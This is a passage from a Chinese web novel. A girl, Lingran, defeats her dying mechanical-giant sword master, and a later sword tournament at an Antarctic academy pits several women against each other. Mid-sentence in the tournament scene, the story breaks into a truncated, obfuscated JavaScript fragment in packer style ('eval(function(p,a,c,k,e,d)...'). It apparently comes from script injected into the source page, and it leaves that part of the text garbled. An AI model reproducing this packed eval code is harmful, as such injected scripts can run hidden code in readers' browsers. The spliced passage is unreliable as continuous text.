少女和雪橇一起狼狈的滚落坑底，铃兰颤抖着爬到雪橇上，取下暖炉，将锈蚀的几乎要断裂的铁剑插在雪地，坐在雪上烤火，吃下两瓶营养剂，平静心情和恢复体力。 坑外的暴风雪还在呼啸吧。 这个想法令她有些害怕，于是闭目，细心想象外界是广袤的白色大地，团团风雪旋风萦绕天际，好像一个幻想中的怪物屹立雪原，她想用狂风去吹袭怪物以确认它不存在，风过处，果然没有。 怪物却突然出现另一个雪坡上，吓的铃兰摘下耳机，环看雪坑边缘，什么都没有，她控制呼吸，细听环境，只有风声。闭目能很清晰的感觉到大地之上有什么东西在快速移动，那怪物尽力不让她察觉，而她再用想象中的风暴去追击它，直到失去目标。 又是小女孩做的噩梦常见的恐惧之物吧。 孤独总会激发她的恐惧，自己在人群中低矮视线产生的孤寂，在床上抱着枕头睡着后醒来的泪迹，都让她明白孤单是她最需要打败的敌人。 一股强烈的违和感驱使铃兰猛然扭身看向后方，一个高大的金属骸骨巨人站在坡顶。 蓝色的微光似乎是它的心脏，在镂空的钢铁胸腔内部。背上数不清的铁剑使它像一位被万箭射死的凄凉将军，铁剑纷纷掉落。 “不用紧张。” 巨人说完，顺坡滑下，利落翻滚，走到铃兰的暖炉边坐下。它这举动让铃兰本能的退避，等它再度说话。 “红莲没来吗。” 铃兰早就听说过机械生物，却万万没想到有人形的，还是会说话的。 “你认识红莲大人吗？” “大人？唉，看来她还是出头了啊。在这绝望的末世，希望已是欺骗。” “我们不要希望！战斗是作为人的骨气！” 巨人转动它的不锈钢脑壳，看向铃兰，少女太过娇小，穿了厚重的棉衣都还像小孩子，细长的金发，红通通的小脸，冻干的嘴唇，只有眼神映着暖炉里的火光，充满斗志。 “好吧。” 它转头看着雪面上的铁剑，继续说话。 “原本想最后见见关门弟子，没想到她送来了你，我尊重她的决定，或许不告而别，能一直活在双方回忆中，才是最好的离别。小姑娘，你叫什么名字？” “铃兰！” “有趣的名字。” 铃兰走近，坐到巨人身边一起烤火，就问：“护理所起的名字，护士们喜欢用花名当新生儿的名字，据说铃兰是种随处可见的小白花，哪里有趣？” “缘分，生命像一首预言诗。我高中的时候，喜欢看的热血漫画里，角色们用铃兰作为最强称号。我查植物学图册，才知道铃兰就在身边，每个小道和河道边，像铃铛的小白花，它顽强，耐寒，任何环境都没阻挡它的求生意志。来吧，铃兰，我的时间不多了，这是我最后一次解开低耗模式。” 机械巨人不等铃兰再问琐事，雪坑顶的铁剑炸散，有一堆掉到坑里，约50支，拼贴成一个持剑的铁人，对着铃兰摆好攻击架势。 微风萧瑟，铃兰脱掉棉衣和棉帽，拔出雪中铁剑，扭腕一抖，内在精气神和全身肌肉一同振奋，将寒意连同剑身的雪片一起抖落，她另一手扶剑，躬身待发。 巨人师父创立的真我剑术很简单，总结了历史中所有武人通用的认知，静界就是心无旁骛，全身心的观测敌人，找出破绽，以自己最强一击攻敌人最弱之处，这一击无怨无悔，已经是自己力所能及的最强剑击，故而称为一命。铃兰也做不到绝对平静，极端的静很可能是人类做不到的心境。她的静界十分特别，巧妙的隐藏自己最后一丝欲念，融入双方的动态中，像一丝绵延的微风。 虽然铃兰的感知范围只是细细的一根软线，不像红莲那样是以自我为中心的球形范围，却是始终连接敌人的感知线，不被敌人察觉同时，还能及时感知对方的动作，这是天赋，她细心的调整自己的动，与敌人的动同步，形成了独特的静。由于客观宇宙并没有绝对静止的物体，她这静界的适用范围极广，只要不断磨练，可以感知任何比她躁动的敌人的破绽。 太完美了。 巨人师父被铃兰这么出色的武学天赋震撼的迟迟不作进攻，它想操纵铁人把静控制到最低，但它突然明白自己轻敌了，铁人是依赖它施加能量磁力形成的，不可能做到高水平的静界，下一瞬间，铃兰助跑一步起跳！ 她跟铁人距离太近，导致铁人来不及用出制空剑击，这种奇葩先手招式只有铃兰的小巧身姿能正好躲过敌人的直刺和挑刺范围，铁人在极限瞬间施展出一命剑，上斜刺铃兰的身体。 任何人的一命剑击都是极度凶险的，铃兰跳之前就预测敌人会抓这刹那破绽，提前卷缩身体，在铁人施展一命的同时使出一命，剑和剑并未相撞，而是擦着错开，压住铁人的剑向下摆动，恰好给她的身体留出空隙。 铃兰将剑一横，双手撑住自己的剑两端，压住敌人的剑并倒立其上，她还背弯身体以增加下压力，整套动作仅用了不到一秒，流畅的像杂技表演，铁人已经完全失去攻击手段了。 巨人师父不甘这样输掉比武，它让铁人略松铁剑，使铃兰上抬高，下身较低，铁人借着双方一命剑的势能未散，一个上挑，意图将铃兰抖飞。铁人的这个动作有点耍赖了，是凭更强的体能挑飞铃兰，还有可能导致弓成n形的铃兰躯干骨折。 少女的剑原本是要滑切铁人头部，她先松开压自己剑尖的手，再压住，将滑动的力量变成下压力，铁人上抬剑的力量加上双方一命剑技的余力，将铃兰连人带剑弹向铁人的脖颈处，势能过大，顷刻切断并击碎了铁剑形成的头部。 少女飞落入雪，揉揉腰，站起来，看铁人已经碎了一地。双方交手仅一回合，用时2秒以内，各自用了一套变招就结束了战斗。 “我轻敌了，看你摆出跟红莲一样的突刺架势，没想到是空中武技啊，你的静界在单人战里太强了，绝界将是你的瓶颈。过来烤火恢复一下体力。” 铃兰捂腰，走到火炉边，披上棉衣，她想跟巨人再聊聊天。 “你说我的静界很强？我至今不懂什么是静界呢。” “简单来说，是人完全平静后剩下的思绪，这思绪是灵魂本身赋予人求生的原初力量，只要是活人，就去除不了。红莲的瓶颈就是静界，她能跟孤独和解，却无法跟自己和解，躁动不安的心火，从未平静过啊，只能用怒火填满孤独，形成了球形的感知范围。你渴望与生机相连，这欲念如此单纯，所以不被敌人察觉，这欲望又如此执着，所以能与敌人同步，同步的动，就是你的静。任何人都有弱点，面对数位强者的攻击，将是你的弱点，所以代表绝境的绝界是你的瓶颈。休息好了，我们就开始。” “可以啦。” 毡帽被少女扔向雪橇，她一甩棉衣，一双金黄的发束随她转身环绕，映着莹莹火光，显得朝气迷人，下一个动作，一身白色保暖长裙的铃兰已经在雪坡侧跑，钢铁巨人用意念控制坡上铁剑群，同时刺击她，被她拨开的，击落的，躲开的铁剑在她身后追击。 数百支剑一时无法齐攻，巨人操纵一百支铁剑分三队，绕行到她前进的方向，同时射出，这招阻击堪称绝境，逼迫铃兰使用一命。 由于雪坡是能滑行的，加上铃兰体重很轻，让她得以自发的领悟了绝命剑技是蓄能不发，她滑几步，再跑几步，剑雨始终无法彻底堵死她所有生机。 金属巨人心想这情况一定是因为红莲教过她绝命，所以她卡住剑群未形成无死角的攻击就移动起来，这样学不会绝命啊，巨人决定给她上点难度。 高速冲刺的铁剑突然变得侧向旋转起来，增大了预判难度。 雪坑的扇形圆坡上，一位金发少女在万千剑雨中盘旋和腾挪，快似流星的剑击从不同方向切掉了躲闪不及的衣物，生机完全靠她亲手旋飞打碎的铁剑留下的一丝空隙，迎头的剑尖却成她的落脚点。 这一瞬，闪转腾挪是靠她身形小巧和灵魂中柔和的求生意志形成的旋转身法，宛如生命根源的螺旋上升序列，太美了，美到自然克服一切绝境，美到剑阵居然跟不上她冲破绝境的方式，铃兰依靠铁剑雨的攻击势能，独自螺旋冲飞上天，有半秒没受到任何攻击，她松懈后，观察环境，发现自己高居于天，再俯视身下雪坑。 巨人师父站起来，张开双手，温柔的接住她。 “恭喜你，轻松领悟了绝界，习得了绝命剑。” 少女用最后一点力气挤出一个微笑，沉沉睡去。 居然有人类能把刚柔并济做到如此完美，武学世界的稀世天才，钢铁师父缓缓坐下，看着怀中的女孩，145CM的身长，必被众人认为不适合习武吧，少女的固执就是她灵魂中的刚强，本性温柔，使这刚强柔韧的变化，指向胜机。 “醒了吗。” 铃兰微微睁眼，火光闪烁，周围格外温暖，她轻抚眼角，这次没有泪痕，摸摸自己的脸，仍存笑容。 “笑了？” “嗯，你笑着入睡，笑着醒来，一直是笑脸啊。” “身体酸痛的不得了，可是！我心里好快乐！” 金属巨人增强了机械心脏的发热，温暖这位高徒，因为它也很快乐，能在2000多年的人生末尾，将毕生所学的精华传承给这么出色的弟子。 “我再告诉你一件事吧，红莲她学这两招用了数月，你真的很有天赋，这是她让你来此的原因。” “可是红莲大人很少跟我们聊天。” “感情的事，很难用言语表达清楚。” 巨人的发声器出现滋啦杂音，说话断断续续，音高也降低了，可它必须说。 “铃兰啊，我没有时间了，真想帮你超越红莲呀，你还能动吗？” 金发少女靠意志压制身体酸痛，挣扎着爬出巨人的钢铁怀抱，她跌落翻滚，撞在火炉边，她强撑身体，看到巨人胸膛中的蓝光心脏时闪时灭，才意识到环境的温度是师父牺牲自己的寿命产生的。 铃兰咬牙，站直，解开束发带，微风徐徐，少女双手持剑，迎战恩师。 钢铁巨人站起来，威势如山，它是这样强大，孤行于千年百世，只为寻求使人类文明存续的真谛，挽回那代人类的错误。 “战胜我，不要留情。帮我用最后的生命之火，成就你的进步，就是对我最好的报答了。” 九支铁剑飞到巨人手边，被它用手一捋，形成一把通红的锐利巨剑，它用双手握剑的一瞬，强大的能量场震散坑底雪花，气流吹拂着少女的金色发丝。 杀气在不锈钢骷髅身体周围，逐渐凝聚到大剑锋处，让铃兰明白，师父是认真的。 两剑相交的瞬间，铃兰就明白了力量差距太大，她靠身材优势勉强躲掉巨剑横扫，下一招回扫，她只能用一命剑拨开，再下一招呢？ 思路断了，求生意志逼迫她勉强再用出一命剑技，这一剑的力量明显不足，只帮铃兰逼开要害，长发被扫断一半，她顺巨剑锋跳反，到巨人大腿上，再跳到小臂处。师父一收钢铁胳膊，如果不是她跳并扶住师父的肩，差一点就将她的脚夹碎。 这意味着她不能再用师父的身体当落脚点了，而且师父的意志就是杀死她，铃兰顷刻理解了这是比绝境更难的敌境。 无比强大的敌人，非杀她不可。 巨剑绕铁头顶横扫，铃兰用剑挡的同时顺势后跳，跳到雪坡上，正要反跳，巨人冲来，铁臂将要把铃兰撞个粉碎，师父太灵活了，即使铃兰跳开这次攻击，缺乏落脚点，必吃一招攻击，可铃兰到时哪还有余力格挡呢，必然被师父的连击致死。 铃兰蹲身蓄力，舍身直刺巨人的机械心脏，巨人侧剑上拍，在攻击铃兰的同时，挡开她的刺击，铃兰身体吃这一击后，以远超本能的反应时间，手脚并用，扶着巨剑，再用一命剑，她的意识不存在了，本能也不存在了，眼神中只有杀意。 这少女的动作极限灵活，跳绕翻滚躲开师父的铁肢攻击的同时连续施展一命剑，死死守住在巨人怀前的距离，令师父不能用剑充足反击，她的剑一击比一击强，犹如一团旋转在钢铁巨人怀中的刀刃暴风，巨人松剑，用脚踢剑柄，挑了铃兰收剑防御的时机，它双手抓住飞起的剑柄，向自己斩来。 极界就是要在这种旦夕存亡之刻，才能彻底顿悟，铃兰最后的生机，她必须极速打碎钢铁胸骨并摧毁机械心脏，才能让自己全身冲过去，然而她做到了。 身体旋转带动的螺旋形剑击，剑弧夹带的高速气流冲碎铁条，收束成直刺，刺穿光球心脏，再顺势扩散成螺旋剑弧，刮碎巨人后背的装甲，少女旋转钻出巨人身体，跌落到坑底，她立刻起身，见巨人已被巨剑砍碎，再看手上的铁剑上，机械心脏的光熄灭，铁剑碎裂，心脏坠地，散架。 铃兰觉得力量不停从自然环境涌入身体，但她的意识因为敌人已灭，变得昏昏欲睡，她来不及做或者想任何事，用最后一丝意识调整暖炉，再将自己埋入雪橇内的保温睡袋。 她梦见了师父，是位英俊的男子，他身边是一位大肚子的女子，师父趴在女子肚子上听着什么，他们对笑着，窗外是蓝天和海岸，一瞬耀眼白光，暴风打碎了玻璃，师父挡在女子身前，等他转身望向外界，远方的海岛上空出现水母形状的乌云。 下一个画面在一望无际的大海上，师父和女子周围有很多人，人们挤在船上，大浪将很多人卷进海里，铃兰暗自祈祷师父一家不要被浪卷走，紧接着船翻了，师父在海浪中奋力寻找女子，直到昏厥。 眼前是拥挤不堪的超长海岸，铃兰从海岸朝向判断这里是南极北海岸，为什么有海水和青山呢？为什么有蓝天和太阳呢？ 她看到师父浑浑噩噩的走到排队的人流之中，人群为了先后顺序爆发了争吵和打斗，有人挥拳打师父身前的女子，他可能把女子认成妻子，也可能出于正义感，反手制服了几个暴徒，不愧是师父啊。 下一个画面在军帐里，师父穿了一身军装，整理文件的时候，那名女子走进帐来说了什么，师父就来到户外，路过大片重型战车阵地，铃兰设想这里恐怕就是最终战争的前线，等师父再回帐就在帐中翻找文件。 下一场景中，师父在草地里爬行，回头看自己只剩上身了，远方出现一个巨大无比的半球形凹坑，坑和群山形成极似南极的宏大山谷，铃兰一眼认出最东方山壁内的城市是赛博空港。师父仰面朝天，一位金属皮肤的漂亮女子挡住他头顶的阳光，女子从一个蝴蝶翅膀的机器人胸膛里取出一颗光球，塞入师父的胸中。 接下来的画面是师父在无人的空城中，城市废墟里，海面的简易铁船上，巨轮船体边，海港城市边流浪，直到天空变成永夜，剩师父在暴雪和冰原中孤行。他时而停在雪坑中冥想，时而到废弃的实验所里翻找资料，时而在机械生物口下救助活人，他从未放弃思考和寻找救赎，当他在坡顶看到那位黑发少女的时候，心中的喜悦就连旁观的铃兰都能感受到。 不知过了多久，铃兰被冻醒了，她全身的痛感像穿满了尖针，可她坐起来，穿戴好棉衣和棉帽，蹲下来，拨掉金属球上的积雪，球有一块裂痕，正是铃兰学会极命剑的那一刺击造成的，她笑了，这一笑代言了师父的心愿和自己的成长。 她把金属球放进雪橇座舱里，取出一套滑雪用具，将雪橇拖绳系在腰间，启程返回业凰科学院，没用多久，在外寻找她的社员们就发现了她，众人七嘴八舌的说剑术比赛已经开赛很久了，铃兰却再度昏睡过去。 学者文斗 剑术比赛预示着夜星一系列大事将拉开帷幕，作者我反复思考该怎样记述，因为文字的写作和阅读有先后顺序，而真实世界的众多事件往往同时发生，共同诱导出下一个转折，所以本书有时将采用追忆同期事件的写作方式，希望读者适应并理解。 就在铃兰向钢铁巨人学习真我剑术的时候，业凰科学院的四场比武正式开始，底层广场内搭建了圆形的擂台和看台，来自其他五局的观战代表分别入座，高空无人机和吊臂的摄像机同步转播，业凰会长和副会长在看台入口迎接来客，这比赛不仅是切磋武技的盛会，还是各学院的重要人物互相了解的机遇。 首位登场的选手一袭修身白袍，这是科研人员的穿着，她身材较好，面貌文雅，大眼睛明亮显露知性，特征是她一头翠绿色的长发，显得自然清雅，颇具学者风度。 这名女子走到业凰看台的第一排，向副会长贝莎问好并攀谈了几句，转身上台阶，迈腿进入擂台，这个动作倒是利索，裁判递给她和天烛各一把橡胶剑，比赛正式开始。 看台的一阵欢呼并未触发二人对战，她俩摆好攻击架势，互相挪步对峙着，观众们再看天烛是精致的名门盘发，分到脸侧的规矩鬓角，露着大脑门，面容和善温柔，明明是比剑还穿蓝色披肩，细弱的胳膊持剑不稳，前胸和大腿倒是凹凸有致，就知道这是一对学者型的剑术菜鸟互啄了。 擂台和看台寂静，观众小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“读过两遍，我喜欢《奇化猫》。” 天烛握剑累了，就松开一只手，把鬓角别在耳侧。 “猫男主呀，我小时候看过，每段小故事是一则寓言，男主充当拼合线索的旁观者。” “虽说作品不分高下，但我们就以爱情为主题，讨论一下这两部作品的审美高低。我先来，《孤傲与任性》讲了三对情侣，一是为金钱结合的老少夫妻，二是为感情私奔的贫富男女，三是财富学识相当的男女主。据此我认为该作传达了依托外物基础的恋爱关系，不是写爱情，是写地位。” 藤萝文斗进攻的是天烛最喜欢的小说，她奋起反驳。 “私奔的情侣就是纯粹的爱情呀！” “可他们为什么不是主角呢？小说婉转表达对他们未来的担忧，说到底还是金钱。” “现实生活离不开实力啊，男女主都是贵族就没实力不足的隐患了呀！” “那假如男主或女主之一是平民呢？门不当，户不对了吧，任性的女主更瞧不起男主，孤傲的男主更看不起女主，仅仅因为一方投胎在平民家，这算什么爱情？就是地位而已。” 天烛隐约察觉了这小说的漏洞，但她觉得作家极力在现实中营造爱情，已经很难得了。 “地位是客观现实啊！” “那你呢？你为什么从博物馆都市逃到业凰学院？你也是地位的受害者！” 这话说中了白发少女内心的隐痛，她眼带泪光，左右四顾看台，所幸没人细听她俩的文斗对话，这让她能重振心态，退了两步，思考怎么反驳，藤萝却不给她机会了。 “这还不是那小说真正的缺陷。我们试想两个情投意合的人相遇，这概率有多小？身为女生都明白吧，也就是说，大多数人一生连遇到爱情的机会都没有，何谈相爱？我喜欢的《奇化猫》的男主也没遇过爱情，他和你我一样，保持修养和自强，旁观世界，路过世俗，这是心中有爱的人唯一能做到的坚守初心，所以《奇化猫》在爱情主题上更胜一筹！” 天烛觉得藤萝的话是有道理，自己确实孤行很久，直到再遇红莲才从孤独中解脱，她正低头思考着，藤萝趁势一剑打掉了她拿到累了的橡胶剑，天烛看手上没有剑了，还没从思考中缓过神来，半弯腰去捡，却被藤萝用剑止住，使她醒悟身在擂台。 “抱歉，我输了。” 双方鞠躬行礼，来自第二运输局的藤萝获胜。 下一位上场的女子有着2米多的身高，长至小腿的茂盛黑发说明她患有先天激素病症，长发遮挡了她一半面容，脸部股线的美感被诡异的笑容驱散，宽大的黑色半袖上衣怀前膨鼓，外人第一次见到有女子胸前能阻碍胳膊活动，喇叭口的黑裤半蹲摆好架势，和健壮的胳膊一起显得结实有力，夜兰拉紧双手的黑色长袖手套，横枪预备，长发流散全身，气势肃杀的不同寻常，竟似阵前大将一般。 对手扶擂台围栏的柱顶，翻越进场，众人一看便知此人身手不凡，她留着一般社员常见的黑色短发，吊睛大眼，秀气的脸孔表情认真克制，穿着露肩的黑色短袍，特别之处是小臂和小腿上包覆了金属轻甲，这是旧王权军团的军官装饰。 “这人气质严肃，动作有力，不像新手，是谁呢？” 红莲问身边的贝莎，她拿平板电脑查询后回答。 “摩罗营长，寡言不太合群，所以情报很少，只有公开资料，你看吧。” 红莲接过电脑，阅读资料：摩罗，身高166，灵能进化评分5，冰雪女王扩军计划第三批重点培养的精锐副官，主修战术指挥学，选修体育学。曾任赛博空港及第一工业局安保部队的营长，现任第一工业局局长阳荷的副官。 “旧王权军团的主要军士都来自阳家，摩罗跟阳荷有情感纽带，二人配合默契。” 贝莎的解释进一步说明这位具备指挥经验的摩罗是阳荷的死忠，红莲心想摩罗曾是东边赛博空港的营长，刚才获胜的藤萝曾是西边家园堡的技术主管，比赛出场顺序有意介绍南极各武装的历史渊源，这一定是玛丽安的小动作，为了帮红莲认知南极。 “长期独自镇守一座主城是难得的经历啊。” 擂台上，摩罗尝试拉近距离，然而夜兰的橡胶长枪抖转的像个打蛋器，几乎覆盖了摩罗正前方的空间，她绕三步，夜兰只需要挪半步，如果被夜兰逼到擂台角落就无处可躲了，所以她的体能消耗更多，而且看双方身材，夜兰的体能更好。 利用地形优势是优秀武者的思维素质，擂台面积不大，不利于长柄武器的挥砍动作，所以夜兰始终占据擂台中心。摩罗想好计划后，用剑架高长枪，夜兰摆动长枪变成横扫。摩罗预先退了半步再收腰躲开扫击，正好双手举高了剑，变成下劈，夜兰以枪柄格挡，摩罗松手后空翻，以手撑地，双脚踢向夜兰面部。 身高差距使她这一脚没她预想的那么突然，被夜兰单手抓住一只脚，脚部被握的感觉让摩罗瞬间明白了力量差距更大，赶忙用另一只脚脱困，否则她有可能被夜兰提起来扔出擂台。 摩罗这翻攻势并没有白费，夜兰一时间被她打出擂台中心半米远，她紧接着再后空翻正好蹬住围栏，横身一跳，理论上这次跳击就能击倒夜兰了，但出人意料的是夜兰的长枪立刻砸向摩罗的面部，危急关头，她本能的横剑格挡，但长枪的这次横扫力量极大，将摩罗整个人甩到围栏上又弹向地面，她眼见长枪来到自己脖处，但枪头故意离她的脖子更远，摩罗落地时勉强用双手撑住，那把橡胶剑也不知道飞到那里去了。 看台上外人都被夜兰这一下枪术震惊到站了起来，人们没见过同时具备施展速度和力量的武技，裁判宣布夜兰获胜的时候，观众们纷纷讨论这是何种剑术。 第三场比武开始之前有一段较长的休息时间，人们拿着业凰社员分发的写有真我剑术的塑料卡片，潜心阅读，就连下一位要上场的选手服务局会长曼达也目不转睛的研究着。 “我们的剑术有趣吗？” 曼达抬头一看是业凰会长红莲就笑着说：“哈哈，我原以为全南极只有我和风信子对武技感兴趣，现在是武器装备的时代了，格斗术只作为体能训练科目，没想到业凰这么重视。” 曼达，185CM的身长，体格强壮，黑色长发疏于打理，大概是洗完就直接用一条束发带系成高马尾，所以乱彭彭的，孕育罐的基因技术赋予她最底线的大美人五官，被朝气蓬勃的表情衬托的别具魅力，上身短款黑色夹克，下身黑色长裤，帅气潇洒。她曾任首都卫戍军团的大将军，掌管南极最强军力，恶毒女王将卫戍军团划归玛丽安统领，曼达调任首都城外的服务局任局长，红莲从她手握重兵又轻易弃权，推测她是因性格好爽磊落才被冰雪女王委以重任。 “嗯，或许有用啊。” 红莲说着，坐到她旁边的空座位，轻捋黑色大檐帽下的柔顺长发，继续说话。 “真到了危急时刻，只剩身体也要反击！” “对啊！所以我坚持锻炼！原来红莲也是这样想哒，哈哈！这招叫一命的剑术就是刚才大高个的长发女用的枪术吗？按我的理解就积蓄全身力量打出关键一击对吗？” 刚才擂台上的决胜战斗发生时间总共不超3秒，曼达能理解到这种水平，很适合当老师呢，红莲想到这些就为她解释。 “不只是身体的力量，人的思维，情绪，专注力都影响剑术威力，更重要是观察对手的身体和情绪，你的心态必须尽可能的平静，才能完全察觉对手的细节和弱点，当你确认了对手的弱点后，身心会自发的预备好最完美的状态，只要对手显露弱点，你会忍不住自动攻击，速度和力量都是最强，一击可胜。” 20. 章20南极：志同道合 流水隐匿于山洞深处，瀑布直灌假山，洒一面水流纱幔。光线透过洞外的石壁缝隙，斑驳陆离地洒在那道晶莹剔透的水幕之上，闪烁着柔和的光芒。 水声潺潺，如同细语呢喃，又像古筝轻拨，悠扬而缠绵，不绝于耳。那瀑布化作一帘轻纱，温柔地拂过岩石，溅起层层细腻的水雾，空气中弥漫着清新与湿润。 衣着天蓝色制服的少女们坐在池边观看平板电脑里的擂台直播画面，恍若穿越至另一个热情的世界。水珠轻拂过脸颊，带来丝丝凉意，却也让人心生暖意，如同恋人的指尖，轻柔而深情。 四周石壁，经年累月被水珠抚摸，显得光滑圆润，静静地等待着有心人的聆听。 而水帘之后，藏着不为人知的秘密，她以袖隔水的一瞬跃出瀑布，甚至未溅起一丝水浪，在人群聚集的广场没引起一声惊动，仅有一阵温柔轻风抚动池边社员们的发丝，留下几滴水珠，在她早已跳入看台后，轻落在女孩们的脸上。 擂台内的曼达等的有些不耐烦，揪住黑色单马尾甩了一下，她不知道要跟谁比武，扶肩活动胳膊，短款黑色夹克时而遮住她的小腹，黑长裤被大腿肌肉撑的紧绷，两腿突然跨步，她仰头看着什么，正要扭身，大美人面容全神贯注在空中追看什么物体，那物体似乎有意逃开她的视线，她跨步到裁判身前，夺走了两支橡胶剑，人们才注意到曼达前方的围栏上站了一个人。 夜星自古有个传说，大海南方的尽头有块神秘大陆，住着超人种族，他们可以用意识控制头发，每一根都能变成利剑，因杀生太多，所以是粉色，而且是这种迷人的正粉色，长发流动的妖媚弧光，在少女背后引人瞩目。 她在众人毫无察觉的情况下，跑跳到擂台的橡胶围栏上，身体理应被围栏的弹力影响到失去平衡或是做出尴尬动作，然而浅蓝色的马甲和束腰短裙显露的曼妙曲线，自然适应了围栏的摇晃，粉发少女整个人像和围栏是一体的，就是这么从容，让观众们明白历史书记载的风之部落仅凭武技就赶走航海时代的风帆舰队，所言非虚。 一跟橡胶剑扔向玉珊瑚，曼达以前常跟风信子比武，知道她们风家的人就喜欢耍些杂技，而且还喜欢使用出人意料的攻击技巧，高速移动到敌人视线之外，给人的感觉就像风一样，不知道怎么输的，这就是风之部落。 少女接剑的同时失去平衡，却疾步在围栏上绕擂台奔跑，过膝长筒靴的每一步都是轻盈协调，战斗的舞姿令人赞叹。曼达看她蒙着面，从身手猜到了她是谁，跟风家战斗，盯着看是徒劳的，于是以剑指地，紧绷全身，在心中默数一，玉珊瑚跑出了她的视线，二，进入了她的反击死角。 粉色长发形如一道流动的波浪，玉珊瑚踢栏，单手将剑伸到背后积蓄力量，冲向曼达，而曼达双手立剑格挡，经管动作幅度不大，但185CM的身体经过充分锻炼，犹如一堵石墙，迫使先手的玉珊瑚不得不调整身体，逼开这个壮如牛的女人，玉珊瑚脱离了曼达的攻击范围就翻转身姿，脚正好蹬住最下排的围栏，又一个冲刺攻击，曼达意识到站在擂台中间只会被她来回穿梭冲击，就利用玉珊瑚的攻击势能，闪到了围栏边。 看台上，红莲看明白曼达也是一流高手，并且十分熟悉风家的战斗方式，正巧望江南走来坐到她身边。 “江南，来的正好，你们局长很厉害啊。” “噢，曼达将军，您大概不知道她是原王权军团的总教官，南极各军官的体能科目都是她考核的呢，一旦涉及训练就严苛的要命，平时却很照顾我们，公私分明。对了，她独自打死过一只犬型机械生物。” “单挑犬型！” 红莲震惊的说着，回想自己是靠领悟极命剑，才勉强战胜机械生物，望江南抚平衣裙褶皱，整理红发上的帽子后继续讲解。 “是啊，倒也不算单挑，我们清理东南山口的机械生物巢穴，有一只犬型突然从雪里窜出来，大概是虚弱的废品类型，曼达大人就拿铁棍拆掉了它的四肢，杀死了它。” 两人继续观战，擂台内的玉珊瑚一直牢牢掌握进攻主动权，优秀的血脉使她不必计算体能损耗，曼达只能被动防守，却因连续抵挡出其不意的攻势而扭伤了胳膊关节。 对手的伤势也在玉珊瑚的计划之中，她一时冲动，在跳离曼达的过程中作了高难度的屈身踩地动作，又出现在曼达前方，正要施展直刺，就被什么重物狠狠撞了个满怀。 原来是曼达凭借身高腿长的优势，一步撞到玉珊瑚面前，两人正面对正面。玉珊瑚被她撞的后仰，突然反应过来，敌人有这招攻击就不可能这么简单，松开持剑的手，下意识的伸向自己腰部，果然有曼达的胳膊，如果被这个怪力女擒抱住就输了，她立即掐住曼达小臂上的穴道，另一只手推了一下空中的橡胶剑，使剑刺向曼达，双脚尖再点地，微微上跳的同时向后弓身，曼达绝不放过这个机会，挡开剑就追击，却被玉珊瑚双脚夹住的剑挡住，曼达再接连追刺，都被她后空翻中的反击挡住了。 这女人的身体是铁做的吗？ 玉珊瑚一边在心里咒骂，一边揉揉上身，她决定用一命剑结束战斗，不玩了。 少女拉松面罩，大口吸气，一息凝闭，全身聚力，裙摆和粉色长发在栏杆之间高速舞动，人们几乎看不清她的动作，曼达更看不出她的意图，弹跳方向并不指向她，而是毫无规律的乱窜，太快了，使得曼达不敢轻举妄动。 就是不到2秒，剧烈震颤的围栏让擂台内充斥嗡嗡噪音，她人就不见了，人们太关注玉珊瑚的动作，没注意到她在最后一跳滑冲向半空，并旋拧上身，她这招直刺带着一些旋转力量，还可能有横扫和挥斩等等变招，曼达躲是躲不掉了。 两剑接触的时候，力量相当，玉珊瑚顷刻就明白曼达施展的也是一命剑，两人在数毫秒之间，反复用了四个变招抵消对方的攻击势能，玉珊瑚滑跪的过程中后仰，她想单手撑地，站起来反击，趁身体卸力前再防御一波，这样她才能顺利冲到围栏边，然而一道剑影出现在她的视线余光中，按理说没人能连续施展一命剑，但她还是用单手持剑，尽力抵挡。 曼达在玉珊瑚落地的同时一只手掐住剑尖，将剑弯曲蓄力，施展了一招转身斩，这招有赌的成分，赌玉珊瑚下一个动作是逃，曼达赌对了，横斩的力量远比玉珊瑚单手剑的力量大，使玉珊瑚不得不尝试侧向翻滚躲避，一只力大无比的钳子正好按住玉珊瑚的后颈，她微微挣扎了一下，曼达掐的更用力了些，玉珊瑚无奈的用手锤了三下地面，宣布失败。 粉发少女气呼呼的站起来，扯掉了面罩，观众们纷纷扭头不看她的脸，她跳出擂台，来到红莲身后蹲下。 “姐姐你教过那个怪力女一命剑应该提前告诉我呀？” “哈哈，她听我说了两句就自己悟出来了，过来坐。” 玉珊瑚看周围没有空座位，侧坐到红莲腿上，红莲为她总结战斗经验。 “你别陷入贴身战，再耗曼达九个回合，累积她的扭伤，她自己就认输了。利用围栏弹力蓄力一命剑的思路很好，可你跳高再出剑就卸了大部分弹力，风家剑术的花活是恶习，以后应该改掉，一命落空应该果断滑走，自己站起来挨那一下转身斩。总结，你太轻敌了，她好歹曾是保卫首都的将军，实力不可小觑。” “知道啦！” 玉珊瑚起身跳开，消失在看台边缘，红莲放心后，问身边的望江南。 “下一场是谁来着？” “我们学院的竹桃副官对战业凰科学院的铃兰。” 红莲猛然站起。 “铃兰回来了吗？” “早回来了，一直在睡觉，姐姐你坐，我去找她。” 望江南说完，出了看台去找铃兰。 获胜的曼达坐回红莲身边。 “红莲会长，我的比赛过程怎么样？” “力大势猛，简单高效，接敌谨慎，中局果断，残局鲁莽啊，曼达，玉珊瑚如果落地直刺你就输了，个人战输一个，群体战输一窝。” “哼，听说还有指挥能力比赛，你我到时候见高低！” “求之不得。” 也许因为玉珊瑚的登场方式太过炫酷，接下来这位选手也采用类似的方式，她急行几步，跳跃凌空，在空中转体，稳稳踩中围栏柱顶，黑钢长靴的前甲包到膝盖，后甲露着小腿肚，观众能看出这位少女腿上的功夫不错，再向上看，运动短裤配红色的连身短裙，肩上系着一块水手方巾，小臂处也带手甲，她接过裁判扔来的一对橡胶短剑，插在腰后，少女的黑色短发修剪的格外别致，像一颗黑色樱桃，圆脸生的稚气可爱，表情凶巴巴的，眼神敌意很重。 红莲轻拍并问曼达：“她的制服和你们的怎么不一样呢？” “噢，我徒弟竹桃！可爱吧？像个洋娃娃！前王权军团海军舰长，所以穿水兵制服。” “南极也有登陆舰吗？” “有啊！北海岸最西端的基地就叫造船厂，生产过冰上登陆舰。” 她俩说话的空闲，望江南扶着昏昏沉沉的铃兰走到红莲身前，铃兰面貌和气质显得极为疲惫虚弱，就连高跷的双马尾都蔫了。 “怎么了，铃兰，还能参赛吗？学会绝了吗？” 